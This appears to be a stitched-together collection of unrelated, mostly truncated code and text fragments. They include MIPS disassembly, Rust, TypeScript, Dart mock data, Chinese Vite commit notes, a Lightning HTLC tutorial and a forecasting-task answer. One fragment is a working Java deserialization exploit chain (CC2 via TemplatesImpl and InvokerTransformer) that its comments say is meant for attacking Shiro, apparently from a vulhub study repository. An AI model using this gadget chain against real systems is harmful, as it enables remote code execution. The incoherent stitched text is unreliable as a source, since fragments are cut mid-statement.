20           ## $t2 = DB060020
/* 01A24 80A6ADF4 3C0480A7 */  lui     $a0, %hi(D_80A6AF94)       ## $a0 = 80A70000
/* 01A28 80A6ADF8 00055880 */  sll     $t3, $a1,  2
/* 01A2C 80A6ADFC 008B2021 */  addu    $a0, $a0, $t3
/* 01A30 80A6AE00 AC6A0000 */  sw      $t2, 0x0000($v1)           ## 00000000
/* 01A34 80A6AE04 8C84AF94 */  lw      $a0, %lo(D_80A6AF94)($a0)
/* 01A38 80A6AE08 3C188016 */  lui     $t8, 0x8016                ## $t8 = 80160000
/* 01A3C 80A6AE0C 3C0100FF */  lui     $at, 0x00FF                ## $at = 00FF0000
/* 01A40 80A6AE10 00046900 */  sll     $t5, $a0,  4
/* 01A44 80A6AE14 000D7702 */  srl     $t6, $t5, 28
/* 01A48 80A6AE18 000E7880 */  sll     $t7, $t6,  2
/* 01A4C 80A6AE1C 030FC021 */  addu    $t8, $t8, $t7
/* 01A50 80A6AE20 8F186FA8 */  lw      $t8, 0x6FA8($t8)           ## 80166FA8
/* 01A54 80A6AE24 3421FFFF */  ori     $at, $at, 0xFFFF           ## $at = 00FFFFFF
/* 01A58 80A6AE28 00816024 */  and     $t4, $a0, $at
/* 01A5C 80A6AE2C 3C018000 */  lui     $at, 0x8000                ## $at = 80000000
/* 01A60 80A6AE30 0198C821 */  addu    $t9, $t4, $t8
/* 01A64 80A6AE34 03214821 */  addu    $t1, $t9, $at
/* 01A68 80A6AE38 AC690004 */  sw      $t1, 0x0004($v1)           ## 00000004
.L80A6AE3C:
/* 01A6C 80A6AE3C 8FAA0044 */  lw      $t2, 0x0044($sp)
/* 01A70 80A6AE40 27A40028 */  addiu   $a0, $sp, 0x0028           ## $a0 = FFFFFFE8
/* 01A74 80A6AE44 24C6AFCC */  addiu   $a2, $a2, %lo(D_80A6AFCC)  ## $a2 = 80A6AFCC
/* 01A78 80A6AE48 240705C7 */  addiu   $a3, $zero, 0x05C7         ## $a3 = 000005C7
/* 01A7C 80A6AE4C 0C031AD5 */  jal     func_800C6B54
/* 01A80 80A6AE50 8D450000 */  lw      $a1, 0x0000($t2)           ## DB060020
/* 01A84 80A6AE54 8FBF0014 */  lw      $ra, 0x0014($sp)
/* 01A88 80A6AE58 27BD0040 */  addiu   $sp, $sp, 0x0040           ## $sp = 00000000
/* 01A8C 80A6AE5C 24020001 */  addiu   $v0, $zero, 0x0001         ## $v0 = 00000001
/* 01A90 80A6AE60 03E00008 */  j


set is always in the least significant bits)
        public const int kHashTagShift = 64 - kTagSize;

        // Default number of entries in the lock table.
        public const int kDefaultLockTableSize = 16 * 1024;

        public const int kMaxLockSpins = 10;   // TODO verify these
        public const int kMaxReaderLockDrainSpins = kMaxLockSpins * 10;
        public const int kMaxWriterLockDrainSpins = kMaxLockSpins * 5;

        /// Invalid entry value
        public const int kInvalidEntrySlot = kEntriesPerBucket;

        /// Location of the special bucket entry
        public const long kOverflowBucketIndex = kEntriesPerBucket - 1;

        /// Invalid value in the hash table
        public const long kInvalidEntry = 0;

        /// Number of times to retry a compare-and-swap before failure
        public const long kRetryThreshold = 1000000;    // TODO unused

        /// Number of times to spin before awaiting or Waiting for a Flush Task.
        public const long kFlushSpinCount = 10;         // TODO verify this number

        /// Number of merge/split chunks.
        public const int kNumMergeChunkBits = 8;
        public const int kNumMergeChunks = 1 << kNumMergeChunkBits;

        // Size of chunks for garbage collection
        public const int kSizeofChunkBits = 14;
        public const int kSizeofChunk = 1 << 14;

        public const long kInvalidAddress = 0;
        public const long kTempInvalidAddress = 1;
        public const long kUnknownAddress = 2;
        public const int kFirstValidAddress = 64;
    }
}


SelectSQL ServerDateTime SetConstant SetManagedFolderFieldsState ShowConstantsInputDialog ShowMessage Sleep Split SQL SQL2XLSTAB SQLProfilingSendReport StrToDate SubString SubStringCount SystemSetting Time TimeDiff Today Transliterate Trim UpperCase UserStatus UTCToLocalTime ValidateXML VarIsClear VarIsEmpty VarIsNull WorkTimeDiff WriteFile WriteFileEx WriteObjectHistory Анализ БазаДанных БлокЕсть БлокЕстьРасш БлокИнфо БлокСнять БлокСнятьРасш БлокУстановить Ввод ВводМеню ВедС ВедСпр ВерхняяГраницаМассива ВнешПрогр Восст ВременнаяПапка Время ВыборSQL ВыбратьЗапись ВыделитьСтр Вызвать Выполнить ВыпПрогр ГрафическийФайл ГруппаДополнительно ДатаВремяСерв ДеньНедели ДиалогДаНет ДлинаСтр ДобПодстр ЕПусто ЕслиТо ЕЧисло ЗамПодстр ЗаписьСправочника ЗначПоляСпр ИДТипСпр ИзвлечьДиск ИзвлечьИмяФайла ИзвлечьПуть ИзвлечьРасширение ИзмДат ИзменитьРазмерМассива ИзмеренийМассива ИмяОрг ИмяПоляСпр Индекс ИндикаторЗакрыть ИндикаторОткрыть ИндикаторШаг ИнтерактивныйРежим ИтогТблСпр КодВидВедСпр КодВидСпрПоИД КодПоAnalit КодСимвола КодСпр КолПодстр КолПроп КонМес Конст КонстЕсть КонстЗнач КонТран КопироватьФайл КопияСтр КПериод КСтрТблСпр Макс МаксСтрТблСпр Массив Меню МенюРасш Мин НаборДанныхНайтиРасш НаимВидСпр НаимПоAnalit НаимСпр НастроитьПереводыСтрок НачМес НачТран НижняяГраницаМассива НомерСпр НПериод Окно Окр Окружение ОтлИнфДобавить ОтлИнфУдалить Отчет ОтчетАнал ОтчетИнт ПапкаСуществует Пауза ПВыборSQL ПереименоватьФайл Переменные ПереместитьФайл Подстр ПоискПодстр ПоискСтр ПолучитьИДТаблицы ПользовательДополнительно ПользовательИД ПользовательИмя ПользовательСтатус Прервать ПроверитьПараметр ПроверитьПараметрЗнач ПроверитьУсловие РазбСтр РазнВремя РазнДат РазнДатаВремя РазнРабВремя РегУстВрем РегУстДат РегУстЧсл РедТекст Рее


            "p2pk66G3vbHoscNYJdgQU72xSkrCWzoXNnFwroADcRTUtrHDvwnUNyW"
        );

        Ok(())
    }

    fn decode_pk(pk: &str) -> Option<Vec<u8>> {
        let decoded = SignaturePublicKey::from_b58_hash(pk).unwrap();
        let decoded = match decoded {
            SignaturePublicKey::Ed25519(hash) => Some(hash),
            SignaturePublicKey::P256(hash) => Some(hash),
            SignaturePublicKey::Secp256k1(hash) => Some(hash),
        };
        decoded
    }
}
#[derive(Debug, Clone, Default)]
pub struct Info {
    pub x: f64,
    pub y: f64,
    pub zoom: f64,
}

impl Info {
    pub fn new() -> Self {
        Self {
            x: 0.0,
            y: 0.0,
            zoom: 1.0,
        }
    }
}
use anyhow::*;
use intel_mkl_tool::*;
use std::{env, path::PathBuf};
use structopt::StructOpt;

/// CLI tool for intel-mkl crate
#[derive(Debug, StructOpt)]
enum Opt {
    /// Download Intel-MKL library
    Download {
        /// Archive name, e.g. "mkl-static-lp64-iomp". Download all archives if None
        #[structopt(long = "name")]
        name: Option<String>,
        /// Install destination. Default is `$XDG_DATA_HOME/intel-mkl-tool/${MKL_VERSION}/`
        #[structopt(short = "o", long = "path")]
        path: Option<PathBuf>,
    },

    /// Seek Intel-MKL library
    ///
    /// 1. pkg-config
    /// 2. `$XDG_DATA_HOME/intel-mkl-tool`
    /// will be sought.
    Seek {},

    /// Package Intel MKL libraries into an archive
    Package {
        #[structopt(long = "name")]
        name: Option<String>,
        #[structopt(short = "o", long = "path")]
        path: Option<PathBuf>,
    },
}

fn main() -> Result<()> {
    let opt = Opt::from_args();

    match opt {
        Opt::Download { name, path } => {
            let path = path.unwrap_or(xdg_home_path());
            if let Some(name) = name {
                let cfg = Config::from_str(&name)?;
                cfg.download(&path.join(cfg.name()))?;
            } else {
                for cfg in Config::possibles() {
                    println!(
                        "Download archive {:<22} into {}",
                        cfg.name(),
                        path.display()
                    );
                    cfg.download(&path.join(cfg.name()))?;
                }
            }
        }

        Opt::Seek {} => {
            let available = Entry::available();
            if available.is_empty() {
                bail!("No MKL found");
            }
            for lib in Entry::available() {
                if let Ok(version) = lib.version() {
                    println!("{:<22}: {}.{}", lib.name(), version.0, version.1);
                } else {
                    println!("{:<22}", lib.name());
                }
                for (path, name) in &lib.found_files() {
                    println!


e3b 修复`build.ts`路径处理bug

由于之前把@xxx弄成自动的，在`build`环境下，就不是自动的了。

所以`vitePlugin`(rollup插件)的`resolveId`需要改写。

# 110 - a22472d `hmr`添加新事件`custom`

整理代码命名。

```typescript
# client.ts
const customUpdateMap = new Map<string, ((customData: any) => void)[]>()

case 'custom':
      const cbs = customUpdateMap.get(id)
      if (cbs) {
        cbs.forEach((cb) => cb(customData))
      }
      break

export const hot = {
  on(event: string, cb: () => void) {
    const exisitng = customUpdateMap.get(event) || []
    exisitng.push(cb)
    customUpdateMap.set(event, exisitng)
  }
}
```

未能分析其作用，将在后续commit解说其作用。

> 看出个大概就是服务端与client端能通过一个事件交流数据`customData`。
# 511 - 8a9710b 如果`index.html`不存在，则设置`ctx.url`为`/index.html`

- `node/server/serverPluginServerStatic.ts`：`history API fallback`中如果`index.html`不存在，则重定向`url`（详 **改动一**）

### 改动一

即`history API fallback`如果符合条件跳转，但是`index.html`不存在，则设置404，且重定向到`/index.html`。

```typescript
try {
    await send(ctx, `index.html`)
} catch(e) {
    ctx.url = '/index.html'
    ctx.status = 404
    return next()
}
```

> 这并不叫重定向，只是`ctx`洋葱模型中知道ctx.url被设置了，但是浏览器回收到404，不是浏览器重定向，如果想要浏览器重定向，要使用` ctx.redirect('/index.html')`;`ctx.status = 302`

tips: 301: 旧地址A的资源不可访问了(永久移除), 重定向到网址B，搜索引擎会抓取网址B的内容，同时将网址保存为B网址。 302: 旧地址A的资源仍可访问，这个重定向只是临时从旧地址A跳转到B地址，这时搜索引擎会抓取B网址内容，但是会将网址保存为A的。

# 512 - 4a0b6cc 配置参数`cssCodeSplit`

- 遗留`cssCodeSplit`在代码中参数传递，默认`true`。
- `node/build/index.ts`：`ssrBuild`中设置`rollupInputOptions.entryFileNames = '[name].js'`

# 513 - 0eb7c2f changelog

## [0.16.5](https://github.com/vuejs/vite/compare/v0.16.4...v0.16.5) (2020-05-21)

### Bug Fixes

- index.html不存在则设置`ctx.url = '/index.html'` ([df733d9](https://github.com/vuejs/vite/commi


, '').replace(/\\/g, '/');
}

function shouldInclude(m: ModuleData) {
  return (
    m.identifier.indexOf('(webpack)') === -1 &&
    m.path.indexOf('$$_lazy_route_resource') === -1
  );
}

function getChunkData(chunk: any): ChunkData {
  return {
    id: String(chunk.id),
    name: chunk.names[0],
    file: chunk.files[0],
    sizes: createSizeData()
  };
}

function parseSizeFromBuildOutput(s: string) {
  const matched = s.toLowerCase().match(/([\d.]+)\s*(kb|b|mb)/);
  if (matched) {
    const x = Number(matched[1]);
    switch (matched[2]) {
      case 'b':
        return x;
      case 'kb':
        return x * 1000;
      case 'mb':
        return x * 1000 * 1000;
      // Realistically assets should not be this big
      case 'gb':
        return x * 1000 * 1000 * 1000;
      default:
        return 0;
    }
  } else {
    return 0;
  }
}
import { IModalProps } from '../../components/@core/modal/modal.interfaces';

export enum ModalActionTypesEnum {
  SHOW_MODAL,
  HIDE_MODAL,
}

export interface ModalAction {
  type: ModalActionTypesEnum;
  payload?: IModalProps;
}

export const showModal = (payload: IModalProps): ModalAction => ({
  type: ModalActionTypesEnum.SHOW_MODAL,
  payload,
});

export const hideModal = (): ModalAction => ({
  type: ModalActionTypesEnum.HIDE_MODAL,
});
/* eslint-disable */
export type Maybe<T> = T | null;
export type Exact<T extends { [key: string]: unknown }> = {
  [K in keyof T]: T[K];
};
export type MakeOptional<T, K extends keyof T> = Omit<T, K> &
  { [SubKey in K]?: Maybe<T[SubKey]> };
export type MakeMaybe<T, K extends keyof T> = Omit<T, K> &
  { [SubKey in K]: Maybe<T[SubKey]> };
/** All built-in and custom scalars, mapped to their actual values */
export type Scalars = {
  ID: string;
  String: string;
  Boolean: boolean;
  Int: number;
  Float: number;
  /** Ethereum wallet address */
  AddressType: string;
  /** Дата и время */
  DateTimeType: string;
  /** Ethereum transaction hash */
  TxHashType: any;
};

export type BurgerSwapBridgeTransitInput = {
  /** Transaction hash */
  tx: Scalars['TxHashType'];
  /** Wallet address of transaction owner */
  owner: Scalars['AddressType'];
  /** Transit type */
  type: BurgerSwapBridgeTransitTypeEnum;
};

export type BurgerSwapBridgeTransitType = {
  __typename?: 'BurgerSwapBridgeTransitType';
  /** Transaction hash */
  tx: Scalars['TxHashType'];
  /** Transit type */
  type: BurgerSwapBridgeTransitTypeEnum;
  /** Wallet address of transaction owner */
  owner: Scalars['AddressType'];
  /** Created at date */
  createdAt: Scalars['DateTimeType'];
};

export enum BurgerSwapBridgeTransitTypeEnum {
  /** Withdraw BEP20 on Binance */
  BscWithdraw = 'bscWithdraw',
  /** Withdraw ERC20 on Ethereum */
  EthTransit = 'ethTransit'
}

export type MediumPostType = {
  __typename?: 'MediumPostType';
  /** Global unique id */
  guid: Scalars['String'];
  /** Title */
  title: Scalars['String'];
  /** Publication date */
  pubDate: Scalars['DateTimeType'];
  /** Link */
  link: Scalars['String'];
  /** Author */
  author: Scalars['String'];
  /** Thumbnail */
  thumbnail: Scalars['String'];
  /** Description */
  description: Scalars['String'];
  /** Content */
  content: Scalars['String'];
};

expor


ng,
    updatedAt: DateTime(2023, 1, 1, 12),
    depositHash: 'depositHash1',
    settleHash: 'settleHash1',
    depositReceivedAt: DateTime(2023, 1, 1, 12, 30),
    rate: '30000',
    onchainTxHash: 'onchainTxHash1',
  ),
  SideshiftOrderDbModel(
    orderId: 'sideshiftOrder2',
    createdAt: DateTime(2023, 2, 1),
    depositCoin: 'ETH',
    settleCoin: 'BTC',
    depositNetwork: 'Ethereum',
    settleNetwork: 'Bitcoin',
    depositAddress: 'ethAddress1',
    settleAddress: 'btcAddress2',
    depositMin: '0.01',
    depositMax: '10.0',
    type: SideshiftOrderType.variable,
    depositAmount: '1.0',
    settleAmount: '0.05',
    expiresAt: DateTime(2023, 2, 2),
    status: SideshiftOrderStatus.settled,
    updatedAt: DateTime(2023, 2, 1, 14),
    depositHash: 'depositHash2',
    settleHash: 'settleHash2',
    depositReceivedAt: DateTime(2023, 2, 1, 14, 30),
    rate: '0.05',
    onchainTxHash: 'onchainTxHash2',
  ),
];

final kMockDbBoltzSwaps = [
  const BoltzSwapDbModel(
    boltzId: 'boltzId1',
    kind: SwapType.submarine,
    network: Chain.liquid,
    hashlock: 'hashlock1',
    receiverPubkey: 'receiverPubkey1',
    senderPubkey: 'senderPubkey1',
    invoice: 'invoice1',
    outAmount: 0,
    blindingKey: 'blindingKey1',
    locktime: 100,
    scriptAddress: 'scriptAddress1',
  ),
  const BoltzSwapDbModel(
    boltzId: 'boltzId2',
    kind: SwapType.submarine,
    network: Chain.bitcoin,
    hashlock: 'hashlock2',
    receiverPubkey: 'receiverPubkey2',
    senderPubkey: 'senderPubkey2',
    invoice: 'invoice2',
    outAmount: 100,
    blindingKey: 'blindingKey2',
    locktime: 0,
    scriptAddress: 'scriptAddress2',
  ),
  const BoltzSwapDbModel(
    boltzId: 'boltzId3',
    kind: SwapType.reverse,
    network: Chain.liquid,
    hashlock: 'hashlock3',
    receiverPubkey: 'receiverPubkey3',
    senderPubkey: 'senderPubkey3',
    invoice: 'invoice3',
    outAmount: 0,
    blindingKey: 'blindingKey3',
    locktime: 100,
    scriptAddress: 'scriptAddress3',
  ),
  const BoltzSwapDbModel(
    boltzId: 'boltzId4',
    kind: SwapType.reverse,
    network: Chain.bitcoin,
    hashlock: 'hashlock4',
    receiverPubkey: 'receiverPubkey4',
    senderPubkey: 'senderPubkey4',
    invoice: 'invoice4',
    outAmount: 100,
    blindingKey: 'blindingKey4',
    locktime: 0,
    scriptAddress: 'scriptAddress4',
  ),
];

// Card Transactions

class FakeMoonTransactions {
  static final cardTransaction = CardEventResponse.cardTransaction(
    type: CardEventType.cardTransaction,
    id: '1',
    card: const CardInfo(
      name: 'Card 1',
      publicId: '1',
      type: 'Debit',
    ),
    transactionId: '1',
    transactionStatus: TransactionStatus.pending,
    datetime: DateTime.now(),
    merchant: 'Merchant 1',
    amount: '100',
    led


%E5%AD%97%E8%8A%82%E7%A0%81)

📒 CC2_yso_TemplatesImpl

```java
package org.vulhub.Ser;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CC2_yso_TemplatesImpl {

    public static void main(String[] args) throws Exception {

        // 创建 TemplatesImpl 对象
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{getBytescode()});
        setFieldValue(templates, "_name", "xxx");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        // 创建⼀个⼈畜⽆害的 InvokerTransformer 对象，并先⽤它实例化 Comparator, 避免 queue.add 的时候触发命令
        // 这里用 toString ，不能用 getClass，因为会导致在 compare 时两个比较的对象均为Class类型，Class类型是无法进行比较的
        Transformer transformer = new InvokerTransformer("toString", null, null);
        Comparator comparator = new TransformingComparator(transformer);

        // 实例化 PriorityQueue ，但是此时向队列⾥添加的元素就是我们前⾯创建的 TemplatesImpl 对象了：
        // 为了使 CC2 可以直接用来攻击 shiro，这⾥⽆法再使⽤ Transformer 数组，所以也就不能⽤ ConstantTransformer 来初始化变量，需要接受外部传⼊的变量。
        // ⽽在 Comparator#compare() 时，队列⾥的元素将作为参数传⼊ transform() ⽅法，这就是传给 TemplatesImpl#newTransformer 的参数。
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(templates);
        queue.add(templates);

        // 最后⼀步，将 toString ⽅法改成恶意⽅法 newTransformer
        setFieldValue(transformer, "iMethodName", "newTransformer");

        // 序列化, 保存为文件
//        serialize(queue);
        // 反序列化，从文件中读取上面一步序列化的数据
        unserialize("ser_CC2_yso_TemplatesImpl.bin");

    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    // 使用 javassist 获取恶意字节码的方法
    protected static byte[] getBytescode() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(evil.EvilTemplatesImpl.class.getName());
        return clazz.toBytecode();
    }

    public static void serialize


public void ClickExitMenu()
        {
            if (persistUICoroutine != null)
            {
                GameDirector.instance.StopCoroutine(persistUICoroutine);
                persistUICoroutine = null;
            }
            GameDirector.instance.StopUIInput();
        }

        private IEnumerator CheckIfPlayerClickedOnUI(Player player)
        {

            while (true)
            {   //keep checking if UI is inactive

                if (!GameDirector.instance.IsAnyUIMenuActive())
                {
                    if (player.controls == Player.ControlType.VR)
                    {
                        GameDirector.instance.BeginUIInput(this, player);
                        break;
                    }
                    else
                    {
                        if (player.leftPlayerHandState.gripState.isUp)
                        {
                            if (GamePhysics.GetRaycastInfo(player.head.position, player.head.forward, 1.5f, WorldUtil.uiMask))
                            {
                                GraphicRaycaster gRaycaster = GamePhysics.result().transform.GetComponent<GraphicRaycaster>();
                                if (gRaycaster == graphicRaycaster)
                                {
                                    GameDirector.instance.BeginUIInput(this, player);
                                    break;
                                }
                            }
                        }
                    }
                }
                persistUICoroutine = null;
                yield return null;
            }
        }

    }

}


WICKED_REPO | string | | If specified, wicked get installed from this repo before testing. The url should point to the `*.repo` file.
WICKED_SKIP_VERSION_CHECK | bool | false | Some test-modules require a specific wicked version. If you don't want this check take place, set this variable to `true`.
WICKED_TCPDUMP | bool | false | If enabled, on each test-module the network interfaces are set into promiscuous mode and a `*.pcap` file will be captured and uploaded.
WICKED_VALGRIND | string | | Enable valgind for specified wicked binaries. Multiple values should be separated by `,`. If set to `all` or `1`, valgrind is enabled for all binaries(wickedd-auto4, wickedd-dhcp6, wickedd-dhcp4, wickedd-nanny, wickedd and wicked).
WICKED_VALGRIND | string | /usr/bin/valgrind --tool=memcheck --leak-check=yes | The valgrind command used with `WICKED_VALGRIND` for each binary.

### xfstests specific variables

Following variables are relevant for filesystem tests xfstests. Contact: kernel-qa@suse.de

Regular setting: some mandatory setting

Variable        | Type      | Default value | Details
---             | ---       | ---           | ---
XFSTESTS        | string    | ---           | Determines the action to be taken. If set to "installation", it runs xfstests installation and then shuts down. If set to <FS_TYPE> (e.g., "btrfs," "xfs," or "ext4"), the test will be executed on the specified file system.
XFSTESTS_RANGES | string | | sub-tests ranges. This setting is mandatory. Support using "-" to define a range, or use "," to list separate subtests(e.g. xfs/001-999,generic/001). But the final test range will also count subtests defined in XFSTESTS_GROUPLIST, a skill to set subtests only by XFSTESTS_GROUPLIST is to set a minimal XFSTESTS_RANGES with XFSTESTS_GROUPLIST
NO_SHUFFLE | boolean | 0 | the default sequence to run all subtests is a random sequence, it's designed to reduce the influence between each subtest. Set NO_SHUFFLE=1 to run in order
XFSTESTS_BLACKLIST | string | | set the sub-tests will not run. Mostly use in the feature not supported, and exclude some critical issues to make whole tests stable. The final skip test list will also count those defined in XFSTESTS_GROUPLIST. It's also support "-" and "," to set skip range
XFSTESTS_GROUPLIST | string | | it's an efficient way to set XFSTESTS_RANGES. Most likely use in test whole range in a single test, such as test special mount option. The range is supported in xfstests upstream, to know the whole range of group names could take a look at xfstests upstream README file. This parameter in openqa supports not only "include" tests, but also "exclude" tests. To add a "!" before a group name to exclude all subtests in that group. Here is an example: e.g. XFSTESTS_GROUPLIST=quick,!fuzz,!fuzzers,!realtime (Add all subtests in quick group, and exclude all dangerous subtests in fuzz, fuzzers, realtime groups)
XFSTESTS_KNOWN_ISSUES | string | | Used to specify a url for a json file with well known xfstests issues. If an error occur which is listed, then the result is overwritten with softfailure.

Run-time related: timeout control to avoid random fails when low performance

Variable        | Type      | Default value | Details
---             | ---       | ---           | ---
XFSTESTS_HEARTBEAT_INTERVAL | integer | 30 | The interval (seconds) of each heartbeat signal
XFSTESTS_HEARTBEAT_TIMEOUT | integ


href="https://docs.microsoft.com/en-us/dotnet/api/system.reflection.emit.opcodes.readonly"/>
        /// </remarks>
        Readonly
    }

    /// <summary>
    /// Provides extensions for the <see cref="CilCode"/> enum.
    /// </summary>
    public static class CilCodeExtensions
    {
        /// <summary>
        /// Transforms the raw CIL code to a <see cref="CilOpCode"/>.


aria-hidden="true" tabindex="-1">
# 移除重复的数据，下面两种方法效果一样:
unique(df)
#>   label value
#> 1     A     4
#> 2     B     3
#> 3     C     6
#> 5     B     1
#> 6     A     2
df[!duplicated(df), ]
#>   label value
#> 1     A     4
#> 2     B     3
#> 3     C     6
#> 5     B     1
#> 6     A     2

6.5 NA 存在时进行向量或因子比较

<span class="header-section


\\n            'max_depth': 3,         \\n            'min_child_weight': 20, # Increased from 10\\n            'subsample': 0.75,\\n            'colsample_bytree': 0.75,\\n            'random_state': 42,\\n            'n_jobs': -1,\\n            'tree_method': 'hist',\\n            'gamma': 0.2,            \\n            'lambda': 0.2,          \\n            'alpha': 0.2,            \\n        },\\n        'target_transform': 'fourth_root',\\n        'lag_weeks': [1, 2, 4, 8, 16, 26, 52],\\n        'lag_diff_periods': [1, 2, 4, 8],\\n        'rolling_windows': [4, 8, 16],\\n        'rolling_std_windows': [4, 8],\\n        'ensemble_model_types': ['lgbm', 'xgb'],\\n        'n_lgbm_ensemble_members': 3, \\n        'n_xgb_ensemble_members': 3,  \\n        'max_admissions_per_million': 5000.0\\n    }\\n]",
  "new_index": "1265",
  "new_code": "# YOUR CODE\\nimport numpy as np\\nimport pandas as pd\\nfrom lightgbm import LGBMRegressor\\nimport xgboost as xgb\\nfrom typing import Any\\n\\ndef fit_and_predict_fn(\\n    train_x: pd.DataFrame,\\n    train_y: pd.Series,\\n    test_x: pd.DataFrame,\\n    config: dict[str, Any]\\n) -> pd.DataFrame:\\n    \\"\\"\\"Make probabilistic predictions for test_x by modeling train_x to train_y.\\n\\n    The model uses an ensemble of LightGBM and XGBoost models for quantile regression.\\n    It incorporates time-series features (including lagged target variables such as y_t-1, y_t-4, etc.,\\n    as specified by \`lag_weeks\` in the config), a population-normalized and transformed\\n    target variable, and location information. The approach uses an iterative prediction\\n    strategy for the test set to correctly calculate lagged and rolling features for\\n    future steps, using median predictions to recursively inform future feature generation.\\n\\n    This version aims to fix 'inf' score issues by:\\n    - More aggressively clipping predictions to a reasonable maximum admissions per million.\\n    - Increasing regularization parameters for both LightGBM and XGBoost models to improve stability.\\n    - Confirming monotonicity of quantiles as the final step.\\n\\n    Args:\\n        train_x (pd.DataFrame): Training features.\\n        train_y (pd.Series): Training target values (Total COVID-19 Admissions).\\n        test_x (pd.DataFrame): Test features for future time periods.\\n        config (dict[str, Any]): Configuration parameters for the model.\\n\\n    Returns:\\n        pd.DataFrame: DataFrame with quantile predictions for each row in test_x.\\n                      Columns are named 'quantile_0.XX'.\\n    \\"\\"\\"\\n    QUANTILES = [\\n        0.01, 0.025, 0.05, 0.1, 0.15, 0.2, 0.25, 0.3, 0.35, 0.4, 0.45, 0.5,\\n        0.55, 0.6, 0.65, 0.7, 0.75, 0.8, 0.85, 0.9, 0.95, 0.975, 0.99\\n    ]\\n    TARGET_COL = 'Total COVID-19 Admissions'\\n    DATE_COL = 'target_end_date'\\n    LOCATION_COL = 'location'\\n    POPULATION_COL = 'population'\\n    HORIZON_COL = 'horizon'\\n\\n    TRANSFORMED_TARGET_COL = 'transformed_admissions_per_million'\\n\\n    # --- Configuration for Models and Feature Engineering ---\\n    # Default parameters for Light


P2WSH dust threshold of 330 satoshis. You can view the various dust thresholds in BOLT 3 [here](https://github.com/lightning/bolts/blob/master/03-transactions.md#dust-limits).

Below is a diagram showcasing how to calculate fees for the second-stage HTLC transaction. Remember, if the Lightning channel supports anchor outputs or zero-fee commitments, then you do not need to include fees on this transaction, as they can be included later. However, if a Lightning channel does not support anchor outputs or zero fee commitments, then you should trim HTLCs if, when including second-stage fees, they amount is below the dust threshold.

*NOTE*: If your Lightning channel supports zero fee commitments, then trimmed HTLCs are added to the shared anchor output, until it reaches 240 sats.

-------------

## ⚡ Build An HTLC Offerer Commitment Transaction

Wow! We've come a long way! Let wrap up these concepts by completing `build_htlc_commitment_transaction`.

```rust
pub fn build_htlc_commitment_transaction(
    funding_txin: TxIn,
    revocation_pubkey: &PublicKey,
    remote_htlc_pubkey: &PublicKey,
    local_htlc_pubkey: &PublicKey,
    to_local_delayed_pubkey: &PublicKey,
    remote_pubkey: &PublicKey,
    to_self_delay: i64,
    payment_hash160: &[u8; 20],
    htlc_amount: u64,
    local_amount: u64,
    remote_amount: u64,
) -> Transaction {

  // Step 1: Build HTLC, to_local, and to_remote Scripts

  // Step 2: Build HTLC, to_local, and to_remote Outputs

  // Step 3: Declare Version and Locktime

  // Step 4: Build and Return the Transaction

}
```

  Step 1: Build HTLC, to_local, and to_remote Scripts

### to_local
Use the `to_local` function from the previous exercise to create this commitment transaction's `to_local` script.

```rust
    let to_local_script =
        to_local(revocation_pubkey, to_local_delayed_pubkey, to_self_delay);
```

### to_remote
Remember, in Lightning, the fairness protocol is set up in such a way that you protect your counterparty from *you* cheating, so the `to_remote` output is a simple **Pay-To-Witness-Public-Key-Hash** output. This is why any output that locks funds to *your* channel balance will have recovation logic, but your counterparty's balance will not have extra protection logic.

To create a P2WPKH output, you can simply use the provided helper function, `p2wpkh_output_script`.

```rust
let to_remote_script = p2wpkh_output_script(remote_pubkey);
```

Under the hood, `p2wpkh_output_script` simply takes a secp256k1 public key and converts it to a P2WPKH output.

```rust
pub fn p2wpkh_output_script(public_key: PublicKey) -> ScriptBuf {
    ScriptBuf::new_p2wpkh(&public_key.wpubkey_hash().unwrap())
}
```

### HTLC

You can obtain an **HTLC Offerer** output script by using the below function. Yes, you can relax knowing you will not be asked to build an HTLC offerer script yourself, though you are welcome to do so for "fun" if you would like!

```rust
pub fn build_htlc_offerer_witness_script(
    revocation_pubkey: &PublicKey,
    remote_htlc_pubkey: &PublicKey,
    local_htlc_pubkey: &PublicKey,
    payment_hash160: &[u8; 20],
) -> ScriptBuf {
    Builder::new()
        .push_opcode(opcodes::OP_DUP)
        .push_opcode(opcodes::OP_HASH160)
        .push_slice(revocation_pubkey.pubkey_hash())
        .push_opcode(opcodes::OP


v>U+211D

⓪

U+24EA

①

U+2460

②

U+2461

仿

U+4EFF

Ａ

U+FF21

𐄳

U+10133

𝓐

U+1D4D0

🌺

U+1F33A

🌻

U+1F33B

💧

U+1F4A7

🥝

U+1F95D

    Expected
    <svg version="1.1" viewBox="0 -320 1000 1480"><symbol id="CFF-1/0041.gid66" overflow="visible"><path d="M582,0 L940,0 L940,32 L784,32 L784,704 L754,704 C722,686 678,670 622,662 L622,636 L748,636 L748,32 L582,32 Z M82,248 L266,554 C284,584 302,614 318,644 L322,644 C320,600 320,576 320,542 L320,248 Z M450,248 L356,248 L356,704 L321,704 L34,236 L34,216 L320,216 L320,0 L356,0 L356,216 L450,216 Z" /></symbol><use x="0" y="0" xlink:href="#CFF-1/0041.gid66" /></svg>

    <svg version="1.1" viewBox="0 -320 1000 1480"><symbol id="CFF-1/211D.gid30" overflow="visible"><path d="M578,0 L682,0 C864,0 956,148 956,366 C956,582 864,726 682,726 L578,726 Z M616


lateApplication& SlateApp, const FKeyEvent& InKeyEvent)
{
	ProcessHintInputBase(
		SlateApp,
		InKeyEvent,
		[this]() { ResetHintMarkers(); },
		[&SlateApp](const TSharedRef<SWidget>& Widget) {
			FUMFocusHelpers::HandleWidgetExecution(SlateApp, Widget);
		});
}

void UVimNavigationEditorSubsystem::ProcessHintInputMultiWindow(
	FSlateApplication& SlateApp, const FKeyEvent& InKeyEvent)
{
	ProcessHintInputBase(
		SlateApp,
